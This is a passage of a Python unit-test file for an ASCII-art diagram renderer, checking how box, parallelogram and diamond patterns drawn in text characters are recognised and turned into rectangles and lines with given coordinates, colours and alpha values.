p.test(main.CurrentChar(y+h+2,x+w+2," ",core.M_NONE))
except StopIteration: pass
return p.render()
def test_render_returns_correct_shapes(self):
r = self.do_render(2,3,5,6)
self.assertEquals(1, len(r))
self.assertTrue( isinstance(r[0],core.Rectangle) )
def test_render_coordinates(self):
r = self.do_render(2,3,5,6)[0]
self.assertEquals((2.5,3.5),r.a)
self.assertEquals((8.5,10.5),r.b)
def test_render_coordinates_width(self):
r = self.do_render(2,3,7,6)[0]
self.assertEquals((2.5,3.5),r.a)
self.assertEquals((10.5,10.5),r.b)
def test_render_coordinates_height(self):
r = self.do_render(2,3,5,8)[0]
self.assertEquals((2.5,3.5),r.a)
self.assertEquals((8.5,12.5),r.b)
def test_render_coordinates_position(self):
r = self.do_render(7,5,5,6)[0]
self.assertEquals((7.5,5.5),r.a)
self.assertEquals((13.5,12.5),r.b)
def test_render_z(self):
r = self.do_render(2,3,5,6)[0]
self.assertEquals(0,r.z)
def test_render_stroke_colour(self):
r = self.do_render(2,3,5,6)[0]
self.assertEquals(core.C_FOREGROUND,r.stroke)
def test_render_stroke_alpha(self):
r = self.do_render(2,3,5,6)[0]
self.assertEquals(1.0,r.salpha)
def test_render_stroke_width(self):
r = self.do_render(2,3,5,6)[0]
self.assertEquals(1,r.w)
def test_render_stroke_style_solid(self):
r = self.do_render(2,3,6,6,dash=False)[0]
self.assertEquals(core.STROKE_SOLID,r.stype)
def test_render_stroke_style_dashed(self):
r = self.do_render(2,3,6,6,dash=True)[0]
self.assertEquals(core.STROKE_DASHED,r.stype)
def test_render_fill_colour(self):
r = self.do_render(2,3,5,6)[0]
self.assertEquals(None,r.fill)
def test_render_fill_alpha(self):
r = self.do_render(2,3,5,6)[0]
self.assertEquals(1.0,r.falpha)
def test_render_h_sections_returns_background_shapes(self):
r = self.do_render(3,2,12,4,[],[4,8])
self.assertEquals(4,len(self.find_type(r,core.Rectangle)))
def test_render_h_sections_coordinates(self):
r = self.do_render(3,2,12,4,[],[4,8])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(b1.a,(3.5,2.5))
b2 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(b2.a,(8.5,2.5))
b3 = self.find_with(r,"a",(12.5,2.5))
self.assertEquals(b3.b,(16.5,7.5))
def test_render_h_sections_stroke_colour(self):
r = self.do_render(3,2,12,4,[],[4,8])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(None,b1.stroke)
b2 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(None,b2.stroke)
b3 = self.find_with(r,"a",(12.5,2.5))
self.assertEquals(None,b3.stroke)
def test_render_h_sections_fill_colour(self):
r = self.do_render(3,2,12,4,[],[4,8])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(core.C_FOREGROUND,b1.fill)
b2 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(core.C_FOREGROUND,b2.fill)
b3 = self.find_with(r,"a",(12.5,2.5))
self.assertEquals(core.C_FOREGROUND,b3.fill)
def test_render_h_sections_fill_alpha(self):
r = self.do_render(3,2,12,4,[],[4,8])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(0.25,b1.falpha)
b2 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(0.0,b2.falpha)
b3 = self.find_with(r,"a",(12.5,2.5))
self.assertEquals(0.25,b3.falpha)
def test_render_h_sections_z(self):
r = self.do_render(3,2,12,4,[],[4,8])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(-0.5,b1.z)
b2 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(-0.5,b2.z)
b3 = self.find_with(r,"a",(12.5,2.5))
self.assertEquals(-0.5,b3.z)
def test_render_v_sections_returns_correct_shapes(self):
r = self.do_render(3,2,4,12,[4,8],[])
self.assertEquals(4,len(self.find_type(r,core.Rectangle)))
def test_render_v_sections_coordinates(self):
r = self.do_render(3,2,4,12,[4,8],[])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(b1.a,(3.5,2.5))
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(b2.a,(3.5,7.5))
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(b3.b,(8.5,15.5))
def test_render_v_sections_stroke_colour(self):
r = self.do_render(3,2,4,12,[4,8],[])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(b1.stroke,None)
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(b2.stroke,None)
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(b3.stroke,None)
def test_render_v_sections_fill_colour(self):
r = self.do_render(3,2,4,12,[4,8],[])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(b1.fill,core.C_FOREGROUND)
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(b2.fill,core.C_FOREGROUND)
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(b3.fill,core.C_FOREGROUND)
def test_render_v_sections_fill_alpha(self):
r = self.do_render(3,2,4,12,[4,8],[])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(b1.falpha,0.25)
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(b2.falpha,0.0)
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(b3.falpha,0.25)
def test_render_v_sections_z(self):
r = self.do_render(3,2,4,12,[4,8],[])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(-0.5,b1.z)
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(-0.5,b2.z)
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(-0.5,b3.z)
def test_render_hv_sections_returns_correct_shapes(self):
r = self.do_render(3,2,12,13,[4,8],[4,8])
self.assertEquals(10,len(self.find_type(r,core.Rectangle)))
def test_render_hv_sections_coordinates(self):
r = self.do_render(3,2,12,13,[4,8],[4,8])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(b1.a,(3.5,2.5))
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(b2.a,(3.5,7.5))
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(b3.b,(8.5,16.5))
b4 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(b4.a,(8.5,2.5))
b5 = self.find_with(r,"b",(12.5,11.5))
self.assertEquals(b5.a,(8.5,7.5))
b6 = self.find_with(r,"a",(8.5,11.5))
self.assertEquals(b6.b,(12.5,16.5))
b7 = self.find_with(r,"b",(16.5,7.5))
self.assertEquals(b7.a,(12.5,2.5))
b8 = self.find_with(r,"b",(16.5,11.5))
self.assertEquals(b8.a,(12.5,7.5))
b9 = self.find_with(r,"a",(12.5,11.5))
self.assertEquals(b9.b,(16.5,16.5))
def test_render_hv_sections_stroke_colour(self):
r = self.do_render(3,2,12,13,[4,8],[4,8])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(None,b1.stroke)
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(None,b2.stroke)
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(None,b3.stroke)
b4 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(None,b4.stroke)
b5 = self.find_with(r,"b",(12.5,11.5))
self.assertEquals(None,b5.stroke)
b6 = self.find_with(r,"a",(8.5,11.5))
self.assertEquals(None,b6.stroke)
b7 = self.find_with(r,"b",(16.5,7.5))
self.assertEquals(None,b7.stroke)
b8 = self.find_with(r,"b",(16.5,11.5))
self.assertEquals(None,b8.stroke)
b9 = self.find_with(r,"a",(12.5,11.5))
self.assertEquals(None,b9.stroke)
def test_render_hv_sections_fill_colour(self):
r = self.do_render(3,2,12,13,[4,8],[4,8])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(core.C_FOREGROUND,b1.fill)
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(core.C_FOREGROUND,b2.fill)
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(core.C_FOREGROUND,b3.fill)
b4 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(core.C_FOREGROUND,b4.fill)
b5 = self.find_with(r,"b",(12.5,11.5))
self.assertEquals(core.C_FOREGROUND,b5.fill)
b6 = self.find_with(r,"a",(8.5,11.5))
self.assertEquals(core.C_FOREGROUND,b6.fill)
b7 = self.find_with(r,"b",(16.5,7.5))
self.assertEquals(core.C_FOREGROUND,b7.fill)
b8 = self.find_with(r,"b",(16.5,11.5))
self.assertEquals(core.C_FOREGROUND,b8.fill)
b9 = self.find_with(r,"a",(12.5,11.5))
self.assertEquals(core.C_FOREGROUND,b9.fill)
def test_render_hv_sections_fill_alpha(self):
r = self.do_render(3,2,12,13,[4,8],[4,8])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(0.25,b1.falpha)
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(0.125,b2.falpha)
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(0.25,b3.falpha)
b4 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(0.125,b4.falpha)
b5 = self.find_with(r,"b",(12.5,11.5))
self.assertEquals(0.0,b5.falpha)
b6 = self.find_with(r,"a",(8.5,11.5))
self.assertEquals(0.125,b6.falpha)
b7 = self.find_with(r,"b",(16.5,7.5))
self.assertEquals(0.25,b7.falpha)
b8 = self.find_with(r,"b",(16.5,11.5))
self.assertEquals(0.125,b8.falpha)
b9 = self.find_with(r,"a",(12.5,11.5))
self.assertEquals(0.25,b9.falpha)
def test_render_hv_sections_z(self):
r = self.do_render(3,2,12,13,[4,8],[4,8])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(-0.5,b1.z)
b2 = self.find_with(r,"b",(8.5,11.5))
self.assertEquals(-0.5,b2.z)
b3 = self.find_with(r,"a",(3.5,11.5))
self.assertEquals(-0.5,b3.z)
b4 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(-0.5,b4.z)
b5 = self.find_with(r,"b",(12.5,11.5))
self.assertEquals(-0.5,b5.z)
b6 = self.find_with(r,"a",(8.5,11.5))
self.assertEquals(-0.5,b6.z)
b7 = self.find_with(r,"b",(16.5,7.5))
self.assertEquals(-0.5,b7.z)
b8 = self.find_with(r,"b",(16.5,11.5))
self.assertEquals(-0.5,b8.z)
b9 = self.find_with(r,"a",(12.5,11.5))
self.assertEquals(-0.5,b9.z)
class TestParagmBoxPattern(unittest.TestCase,PatternTests):
def __init__(self,*args,**kargs):
unittest.TestCase.__init__(self,*args,**kargs)
self.pclass = patterns.ParagmBoxPattern
def test_accepts_box(self):
p = self.pclass()
feed_input(p,0,4, "+----+\n")
feed_input(p,1,0," / / \n")
feed_input(p,2,0," / / \n")
feed_input(p,3,0," +----+ \n")
feed_input(p,4,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(4,7," ",core.M_NONE))
def test_expects_start_plus(self):
p = self.pclass()
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,4," ",core.M_NONE))
def test_expects_start_plus_unoccupied(self):
p = self.pclass()
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,4,"+",core.M_OCCUPIED))
def test_expects_top_line_hyphen(self):
p = self.pclass()
feed_input(p,0,4,"+")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,5,"+",core.M_NONE))
def test_expects_top_line_hyphen_unoccupied(self):
p = self.pclass()
feed_input(p,0,4,"+")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,5,"-",core.M_OCCUPIED))
def test_expects_top_right_plus(self):
p = self.pclass()
feed_input(p,0,4,"+-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,6," ",core.M_NONE))
def test_expects_top_right_plus_unoccupied(self):
p = self.pclass()
feed_input(p,0,4,"+-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,6,"+",core.M_OCCUPIED))
def test_allows_long_top_line(self):
p = self.pclass()
feed_input(p,0,4,"+----+")
def test_allows_rest_of_top_line(self):
p = self.pclass()
feed_input(p,0,4,"+--+")
p.test(main.CurrentChar(0,8,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(0,9,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(0,10,"\n",core.M_OCCUPIED))
def test_allows_start_of_second_line(self):
p = self.pclass()
feed_input(p,0,4,"+--+\n")
p.test(main.CurrentChar(1,0,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(1,1,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(1,2,"c",core.M_OCCUPIED))
def test_expects_second_line_left_forwardslash(self):
p = self.pclass()
feed_input(p,0,4, "+--+\n")
feed_input(p,1,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,3,"|",core.M_NONE))
def test_expects_second_line_left_forwardslash_unoccupied(self):
p = self.pclass()
feed_input(p,0,4, "+--+\n")
feed_input(p,1,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,3,"/",core.M_OCCUPIED))
def test_allows_box_contents(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," /")
p.test(main.CurrentChar(1,4,"x",core.M_OCCUPIED))
p.test(main.CurrentChar(1,5,"y",core.M_OCCUPIED))
p.test(main.CurrentChar(1,6,"z",core.M_OCCUPIED))
def test_rejects_short_content_line(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,5,"\n",core.M_NONE))
p.test(main.CurrentChar(2,0," ",core.M_NONE))
def test_expects_second_line_right_forwardslash(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,7," ",core.M_NONE))
def test_expects_second_line_right_forwardslash(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,7,"/",core.M_OCCUPIED))
def test_allows_rest_of_content_line(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / /")
p.test(main.CurrentChar(1,8,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(1,9,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(1,10,"\n",core.M_OCCUPIED))
def test_allows_start_of_third_line(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / / \n")
p.test(main.CurrentChar(2,0,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(2,1,"b",core.M_OCCUPIED))
def test_expects_bottom_left_plus(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,2,"-",core.M_NONE))
def test_expects_bottom_left_plus_unoccupied(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,2,"+",core.M_OCCUPIED))
def test_expects_left_forwardslash_unoccupied_for_second_content_line(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,2,"/",core.M_OCCUPIED))
def test_allows_second_content_line(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," /")
p.test(main.CurrentChar(2,3,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(2,4,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(2,5,"c",core.M_OCCUPIED))
def test_expects_right_forwardslash_for_second_content_line(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," / ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,6,"-",core.M_NONE))
def test_expects_right_forwardslash_unoccupied_for_second_content_line(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," / ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,6,"/",core.M_OCCUPIED))
def test_expects_bottom_line_hyphen(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," +")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,3," ",core.M_NONE))
def test_expects_bottom_line_hyphen_unoccupied(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," +")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,3,"-",core.M_OCCUPIED))
def test_expects_end_plus(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," +---")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,6,"-",core.M_NONE))
def test_expects_end_plus_unoccupied(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," +---")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,6,"+",core.M_OCCUPIED))
def test_allows_final_line(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," +---+ \n")
for i in range(7):
p.test(main.CurrentChar(3,i,"z",core.M_OCCUPIED))
def test_allows_no_final_line(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," +---+ \n")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(3,0,core.END_OF_INPUT,core.M_NONE))
def test_allows_short_final_line(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," +---+ \n")
feed_input(p,3,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(3,4,"\n",core.M_NONE))
def test_allowed_to_touch_left_edge(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0,"+---+\n")
feed_input(p,3,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(3,5," ",core.M_NONE))
def test_allowed_to_touch_bottom_left_corner(self):
p = self.pclass()
feed_input(p,0,2, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0,"+---+\n")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(3,0,core.END_OF_INPUT,core.M_NONE))
"""
def test_allows_h_separator(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," /---/\n")
def test_expects_continuation_of_h_separator(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," /-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,4," ",core.M_NONE))
def test_expects_continuation_of_h_separator_unoccupied(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," /-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,4,"-",core.M_OCCUPIED))
def test_allows_non_separator_h_line(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," / --/\n")
def test_allows_h_non_separator_start_if_occupied(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," /")
p.test(main.CurrentChar(2,3,"-",core.M_OCCUPIED))
feed_input(p,2,4,"--/\n")
def test_doesnt_assume_h_separator_if_first_row(self):
p = self.pclass()
feed_input(p,0,4, "+---+\n")
feed_input(p,1,0," /-- /\n")
def test_doesnt_assume_h_separator_if_section_too_small(self):
p = self.pclass()
feed_input(p,0,6, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," /---/\n")
feed_input(p,3,0," /-- /\n")
def test_allows_multiple_h_separators(self):
p = self.pclass()
feed_input(p,0,6, "+---+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," /---/\n")
feed_input(p,3,0," / /\n")
feed_input(p,4,0," /---/\n")
def test_allows_v_separator(self):
p = self.pclass()
feed_input(p,0,4, "+----+\n")
feed_input(p,1,0," / | /\n")
feed_input(p,2,0," / | /\n")
feed_input(p,3,0," +----/\n")
def test_expects_continuation_of_v_separator(self):
p = self.pclass()
feed_input(p,0,4, "+----+\n")
feed_input(p,1,0," / | /\n")
feed_input(p,2,0," / ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,5," ",core.M_NONE))
def test_expects_continuation_of_v_separator_unoccupied(self):
p = self.pclass()
feed_input(p,0,4, "+----+\n")
feed_input(p,1,0," / | /\n")
feed_input(p,2,0," / ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,5,"|",core.M_OCCUPIED))
def test_allows_non_separator_v_line(self):
p = self.pclass()
feed_input(p,0,4, "+-----+\n")
feed_input(p,1,0," / /\n")
feed_input(p,2,0," / | /\n")
feed_input(p,3,0," / | /\n")
feed_input(p,4,0,"+-----+\n")
def test_allows_v_non_separator_start_if_occupied(self):
p = self.pclass()
feed_input(p,0,4, "+----+\n")
feed_input(p,1,0," / ")
p.test(main.CurrentChar(1,5,"|",core.M_OCCUPIED))
feed_input(p,1,6," |\n")
def test_allows_multiple_v_separators(self):
p = self.pclass()
feed_input(p,0,4, "+------+\n")
feed_input(p,1,0," / | | /\n")
feed_input(p,2,0," / | | /\n")
feed_input(p,3,0," +------+\n")
def test_doesnt_assume_v_separator_if_first_col(self):
p = self.pclass()
feed_input(p,0,4, "+----+\n")
feed_input(p,1,0," /| /\n")
feed_input(p,2,0," / | /\n")
feed_input(p,3,0," / /\n")
def test_doesnt_assume_v_separator_if_section_too_small(self):
p = self.pclass()
feed_input(p,0,4, "+------+\n")
feed_input(p,1,0," / || /\n")
feed_input(p,2,0," / || /\n")
feed_input(p,3,0," / | /\n")
def test_allows_crossing_separators(self):
p = self.pclass()
feed_input(p,0,4, "+-----+\n")
feed_input(p,1,0," / | /\n")
feed_input(p,2,0," /-----/\n")
feed_input(p,3,0," / | /\n")
feed_input(p,4,0,"+-----+\n")
def test_expects_line_at_separator_intersection(self):
p = self.pclass()
feed_input(p,0,4, "+----+\n")
feed_input(p,1,0," / | /\n")
feed_input(p,2,0," /--")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,5,"+",core.M_NONE))
def test_expects_line_at_separator_intersection_unoccupied(self):
p = self.pclass()
feed_input(p,0,4, "+----+\n")
feed_input(p,1,0," / | /\n")
feed_input(p,2,0," /--")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,5,"-",core.M_OCCUPIED))
def test_allows_vertical_line_at_separator_intersection(self):
p = self.pclass()
feed_input(p,0,4, "+----+\n")
feed_input(p,1,0," / | /\n")
feed_input(p,2,0," /--|-/\n")
def test_allows_single_character_sections(self):
p = self.pclass()
feed_input(p,0,6, "+---------+\n")
feed_input(p,1,0," / | | | | /\n")
feed_input(p,2,0," /---------/\n")
feed_input(p,3,0," / | | | | /\n")
feed_input(p,4,0," /---------/\n")
feed_input(p,5,0," / | | | | /\n")
feed_input(p,6,0,"+---------+\n")
"""
def test_sets_correct_meta_flags(self):
p = self.pclass()
input = ((5, "+-----+ \n",),
(0," / / \n",),
(0," / / \n",),
(0," / / \n",),
(0," +-----+ \n",),
(0," ", ),)
c = core.M_BOX_START_S | core.M_BOX_START_E | core.M_OCCUPIED
t = core.M_BOX_START_S | core.M_OCCUPIED
l = core.M_BOX_START_E | core.M_OCCUPIED
o = core.M_OCCUPIED
n = core.M_NONE
r = core.M_BOX_AFTER_E
b = core.M_BOX_AFTER_S
outmeta = ( ( c,t,t,t,t,t,t,r,n,),
(n,n,n,n,l,n,n,n,n,n,o,r,n,n,),
(n,n,n,l,n,n,n,n,n,o,r,n,n,n,),
(n,n,l,n,n,n,n,n,o,r,n,n,n,n,),
(n,l,o,o,o,o,o,o,r,n,n,n,n,n,),
(n,b,b,b,b,b,b,b, ),)
for j,(startcol,line) in enumerate(input):
for i,char in enumerate(line):
m = outmeta[j][i]
self.assertEquals(m, p.test(main.CurrentChar(j,startcol+i,char,core.M_NONE)))
def do_render(self,x,y,w,h):
p = self.pclass()
feed_input(p,y,x,"+" + "-"*w + "+\n")
for j in range(h):
feed_input(p,y+1+j,0," "*(x-1-j) + "/" + " "*w + "/\n")
feed_input(p,y+h+1,0," "*(x-h-1) + "+" + "-"*w + "+\n")
feed_input(p,y+h+2,0," "*(x-h-1) + " "*(w+2))
try:
p.test(main.CurrentChar(y+h+2,x-h-1+w+2," ",core.M_NONE))
except StopIteration: pass
return p.render()
def test_render_returns_correct_shapes(self):
r = self.do_render(10,12,6,5)
self.assertEquals(4,len(r))
self.assertEquals(4,len(filter(lambda x: isinstance(x,core.Line),r)))
def test_render_coordinates(self):
r = self.do_render(10,12,6,5)
ts = self.find_with(r,"a",(10.5,12.5))
self.assertEquals((17.5,12.5),ts.b)
bs = self.find_with(r,"a",(4.5,18.5))
self.assertEquals((11.5,18.5),bs.b)
rs = self.find_with(r,"a",(17.5,12.5))
self.assertEquals((11.5,18.5),rs.b)
ls = self.find_with(r,"b",(4.5,18.5))
self.assertEquals((10.5,12.5),ls.a)
def test_render_coordinates_position(self):
r = self.do_render(12,4,6,5)
ts = self.find_with(r,"a",(12.5,4.5))
self.assertEquals((19.5,4.5),ts.b)
bs = self.find_with(r,"a",(6.5,10.5))
self.assertEquals((13.5,10.5),bs.b)
rs = self.find_with(r,"a",(19.5,4.5))
self.assertEquals((13.5,10.5),rs.b)
ls = self.find_with(r,"b",(6.5,10.5))
self.assertEquals((12.5,4.5),ls.a)
def test_render_coordinates_size(self):
r = self.do_render(10,12,8,2)
ts = self.find_with(r,"a",(10.5,12.5))
self.assertEquals((19.5,12.5),ts.b)
bs = self.find_with(r,"a",(7.5,15.5))
self.assertEquals((16.5,15.5),bs.b)
rs = self.find_with(r,"a",(19.5,12.5))
self.assertEquals((16.5,15.5),rs.b)
ls = self.find_with(r,"b",(7.5,15.5))
self.assertEquals((10.5,12.5),ls.a)
def test_render_z(self):
for line in self.do_render(10,12,6,5):
self.assertEquals(0,line.z)
def test_render_stroke_colour(self):
for line in self.do_render(10,12,6,5):
self.assertEquals(core.C_FOREGROUND,line.stroke)
def test_render_stroke_alpha(self):
for line in self.do_render(10,12,6,5):
self.assertEquals(1.0,line.salpha)
def test_render_stroke_width(self):
for line in self.do_render(10,12,6,5):
self.assertEquals(1,line.w)
def test_render_stroke_style_solid(self):
for line in self.do_render(10,12,6,5):
self.assertEquals(core.STROKE_SOLID,line.stype)
class TestDiamondBoxPattern(unittest.TestCase,PatternTests):
def __init__(self,*args,**kargs):
unittest.TestCase.__init__(self,*args,**kargs)
self.pclass = patterns.DiamondBoxPattern
def test_accepts_box(self):
p = self.pclass()
feed_input(p,0,4, ". \n")
feed_input(p,1,0," .' '. \n")
feed_input(p,2,0," < > \n")
feed_input(p,3,0," '. .' \n")
feed_input(p,4,0," ' \n")
feed_input(p,5,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(5,5," ",core.M_NONE))
def test_expects_first_period(self):
p = self.pclass()
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,4,"?",core.M_NONE))
def test_expects_first_period_unoccupied(self):
p = self.pclass()
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,4,".",core.M_OCCUPIED))
def test_allows_rest_of_top_line(self):
p = self.pclass()
feed_input(p,0,4, ".")
p.test(main.CurrentChar(0,5,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(0,6,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(0,7,"\n",core.M_OCCUPIED))
def test_allows_start_of_second_line(self):
p = self.pclass()
feed_input(p,0,4, ". \n")
p.test(main.CurrentChar(1,0,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(1,1,"b",core.M_OCCUPIED))
def test_doesnt_necessarily_expect_left_side_period(self):
p = self.pclass()
feed_input(p,0,4, ". \n")
feed_input(p,1,0," ")
p.test(main.CurrentChar(1,2,"'",core.M_NONE))
def test_doesnt_necessarily_expect_left_side_period_unoccupied(self):
p = self.pclass()
feed_input(p,0,4, ". \n")
feed_input(p,1,0," ")
p.test(main.CurrentChar(1,2,".",core.M_OCCUPIED))
def test_expects_left_side_apos(self):
p = self.pclass()
feed_input(p,0,4, ". \n")
feed_input(p,1,0," .")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,3,".",core.M_NONE))
def test_expects_left_side_apos_unoccupied(self):
p = self.pclass()
feed_input(p,0,4, ". \n")
feed_input(p,1,0," .")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,3,"'",core.M_OCCUPIED))
def test_allows_first_content_line(self):
p = self.pclass()
feed_input(p,0,4, ". \n")
feed_input(p,1,0," .'")
p.test(main.CurrentChar(1,4,"q",core.M_OCCUPIED))
def test_expects_right_side_apos(self):
p = self.pclass()
feed_input(p,0,4, ". \n")
feed_input(p,1,0," .' ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,5,".",core.M_NONE))
def test_expects_right_side_apos_unoccupied(self):
p = self.pclass()
feed_input(p,0,4, ". \n")
feed_input(p,1,0," .' ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,5,"'",core.M_OCCUPIED))
def test_expects_right_side_period(self):
p = self.pclass()
